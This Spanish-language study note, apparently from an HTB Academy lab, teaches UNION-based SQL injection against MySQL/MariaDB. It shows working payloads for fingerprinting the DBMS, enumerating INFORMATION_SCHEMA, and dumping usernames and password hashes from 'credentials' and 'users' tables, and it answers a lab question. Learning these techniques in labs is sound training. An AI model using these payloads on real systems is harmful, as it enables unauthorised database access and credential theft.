SQLi – Fingerprinting, INFORMATION_SCHEMA y Enumeración Completa

Info

Esta nota resume cómo identificar el DBMS, usar INFORMATION_SCHEMA y enumerar bases de datos, tablas y columnas mediante SQLi UNION. Perfecta para laboratorios como HTB Academy.


🕵️‍♂️ Huella digital del DBMS (MySQL)

Antes de enumerar, debemos identificar el tipo de gestor de base de datos.

Si el servidor web usa Apache o Nginx → normalmente Linux → posible MySQL/MariaDB.
Si usa IIS → probable MSSQL.

Tip

Confirmar el DBMS permite saber qué funciones y sintaxis usar en SQLi.

🔍 Consultas para identificar MySQL

Carga útil Cuándo usar Salida esperada Salida incorrecta
SELECT @@version Cuando ves la salida completa Versión MySQL/MariaDB Versión MSSQL o error
SELECT POW(1,1) Cuando solo devuelve números 1 Error
SELECT SLEEP(5) Ciega / sin salida La página tarda 5s No hay retardo

Ejemplo de prueba en el laboratorio:

cn' UNION SELECT 1,@@version,3,4-- -

Devuelve algo como:
10.3.22-MariaDB-1ubuntu1

→ Confirmamos MariaDB/MySQL.


🗂️ Base de datos INFORMATION_SCHEMA

Info

INFORMATION_SCHEMA contiene los metadatos de todas las bases de datos, tablas y columnas. Es clave para SQLi.

Para enumerar una tabla externa, se usa el operador punto:

SELECT * FROM my_database.users;

🗃️ Enumeración de Bases de Datos (SCHEMATA)

Lista las bases de datos disponibles:

cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -

{2ADE779B-EF30-4C49-AB72-31279B9D4F37}.png
Salida:

Tip

Las primeras tres son siempre estándar. Normalmente no interesan en SQLi.

📌 Determinar la base de datos actual

cn' UNION SELECT 1,database(),2,3-- -

Salida de ejemplo:
ilfreight


📦 Enumeración de Tablas (TABLES)

Para listar tablas dentro de la base de datos dev:

cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -

{8C696E9A-3026-4EA1-94F8-2B7B76A1A0F1}.png
Salida típica:


🔑 Enumeración de Columnas (COLUMNS)

Para ver las columnas de la tabla credentials:

cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -

cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users'-- -
{17EE0434-5F16-446D-B5BD-0D8B330EF511}.png
Columnas encontradas:


📤 Volcado de datos (UNION SELECT)

Con la información previa, volcamos datos de dev.credentials:

cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -

{B7137A65-052C-4753-8565-0E28F78A6537}.png

Warning

No olvides usar dev.credentials porque la DB actual es ilfreight.


🎯 Pregunta del laboratorio

¿Cuál es el hash de contraseña para 'newuser' en ilfreight.users?

Como hemos visto base de datos de ilfreight veamos sus tablas

cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='ilfreight'-- -

{D3BD669C-D804-4B48-A3C9-3C5F86419488}.png

Existen las tablas products users y ports

Enumeracion de columnas

cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users'-- -

{DA330C6E-23C1-49D3-83DC-52674EA64221}.png

Destaca usernmae y password

Ver los datos de usernmae y password

cn' UNION SELECT 1,username,password,4 FROM ilfreight.users-- -

Tenemos los hashes
{1EDF203F-94F6-4707-B245-06A7EA85205B}.png